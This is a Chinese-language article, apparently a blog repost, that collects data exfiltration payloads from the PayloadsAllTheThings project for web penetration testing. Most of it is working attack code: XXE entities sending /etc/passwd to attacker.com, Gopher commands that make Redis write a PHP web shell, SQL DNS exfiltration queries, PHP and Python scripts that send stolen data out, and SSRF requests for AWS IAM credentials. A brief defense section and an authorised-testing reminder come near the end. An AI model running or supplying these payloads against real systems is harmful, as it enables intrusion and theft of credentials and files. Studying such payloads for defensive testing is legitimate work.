PayloadsAllTheThings数据外带:数据渗出技术Payload

PayloadsAllTheThings数据外带:数据渗出技术Payload

【免费下载链接】PayloadsAllTheThings A list of useful payloads and bypass for Web Application Security and Pentest/CTF 【免费下载链接】PayloadsAllTheThings 项目地址: https://gitcode.com/GitHub_Trending/pa/PayloadsAllTheThings

概述:数据外带技术的重要性

在Web应用安全测试中,数据外带(Data Exfiltration)技术是评估系统安全性的关键环节。当攻击者成功利用漏洞获取敏感数据后,如何将这些数据安全地传输到外部服务器成为关键挑战。PayloadsAllTheThings项目提供了丰富的数据外带Payload,帮助安全研究人员验证系统的防护能力。

核心技术原理

数据外带的基本流程

mermaid

常用外带协议对比

协议端口优点缺点适用场景
HTTP/HTTPS80/443普遍允许,难以检测可能被WAF拦截大多数Web应用
DNS53通常不被防火墙阻止数据传输量有限严格网络环境
FTP21支持大文件传输容易被检测文件传输场景
SMTP25邮件协议普遍允许速度较慢邮件服务器环境

SSRF数据外带技术

基础SSRF外带Payload

<!-- 通过SSRF读取本地文件并外带 -->
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
]>
<root>&exfil;</root>

高级SSRF外带技术

Gopher协议利用

# Redis数据外带示例
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html
gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20shell.php
gopher://127.0.0.1:6379/_SET%20payload%20"<?php system($_GET['cmd']);?>"
gopher://127.0.0.1:6379/_SAVE

XXE数据外带技术

盲注XXE外带Payload

<!-- 基础XXE外带 -->
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'ftp://attacker.com/%file;'>">
%eval;
]>
<root>&exfil;</root>

错误型XXE外带

<!-- 利用错误信息外带数据 -->
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % constant 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM 'file:///nonexistent/&#x25;file;'>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>
%local_dtd;
]>

SQL注入数据外带

时间盲注外带技术

-- MySQL时间盲注数据外带
SELECT IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))=65,
    SLEEP(5),0) FROM dual;

-- 逐位提取数据
SELECT IF(ASCII(SUBSTRING(@@version,1,1))>50,
    BENCHMARK(10000000,MD5('test')),0);

DNS外带技术

-- MySQL DNS外带示例
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\test'));

-- SQL Server DNS外带
DECLARE @data VARCHAR(1024);
SELECT @data = (SELECT TOP 1 name FROM sysobjects);
EXEC('master..xp_dirtree "\\' + @data + '.attacker.com\share"');

文件包含数据外带

PHP包装器利用

<?php
// 使用PHP包装器读取文件并外带
$data = file_get_contents('php://filter/convert.base64-encode/resource=/etc/passwd');
file_get_contents('http://attacker.com/?data=' . urlencode($data));
?>

LFI到RCE外带链

# 通过文件包含实现数据外带
curl "http://target.com/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd"
# 然后将base64数据外带

编码与混淆技术

常用编码方式

编码类型示例优点缺点
Base64dGVzdA==可读性低,兼容性好长度增加33%
URL编码%74%65%73%74避免特殊字符问题长度显著增加
Hex编码0x74657374直接二进制表示长度加倍
二进制01110100 01100101 01110011 01110100最底层表示长度极大增加

数据分块传输技术

# Python数据分块外带示例
import requests
import base64

def exfiltrate_data(data, chunk_size=50):
    chunks = [data[i:i+chunk_size] for i in range(0, len(data), chunk_size)]
    for i, chunk in enumerate(chunks):
        encoded_chunk = base64.b64encode(chunk.encode()).decode()
        requests.get(f"http://attacker.com/?chunk={i}&data={encoded_chunk}")

防御与检测策略

防御技术对比表

防御层技术有效性实施难度
网络层出口过滤中等
应用层输入验证
运行时WAF
监控层SIEM

检测规则示例

# Suricata检测规则示例
alert http any any -> any any (msg:"Data Exfiltration Attempt";
content:"attacker.com"; http.uri; 
content:"data="; http.uri; 
classtype:web-application-attack; sid:1000001; rev:1;)

实战案例研究

案例1:云元数据外带

# AWS元数据外带
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/user-data/

# 通过SSRF外带云元数据
ssrf.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

案例2:数据库凭证外带

-- MySQL配置文件外带
SELECT LOAD_FILE('/etc/mysql/my.cnf');
SELECT LOAD_FILE('C:\\ProgramData\\MySQL\\MySQL Server 8.0\\my.ini');

-- 通过DNS外带数据库数据
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT DATABASE()),'.attacker.com\\test'));

最佳实践与注意事项

安全测试准则

  1. 合法性:仅在授权范围内进行测试
  2. 最小影响:避免对生产系统造成损害
  3. 数据保护:妥善处理获取的敏感数据
  4. 及时报告:发现漏洞后立即报告

技术选择建议

mermaid

总结与展望

数据外带技术是Web安全测试中的重要环节,PayloadsAllTheThings项目提供了全面的Payload集合。随着防御技术的不断发展,数据外带技术也在持续演进,未来可能会出现更多基于新型协议和编码方式的外带技术。

安全研究人员应持续关注最新的技术发展,同时严格遵守道德和法律规范,确保安全测试工作的合法性和有效性。

【免费下载链接】PayloadsAllTheThings A list of useful payloads and bypass for Web Application Security and Pentest/CTF 【免费下载链接】PayloadsAllTheThings 项目地址: https://gitcode.com/GitHub_Trending/pa/PayloadsAllTheThings

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值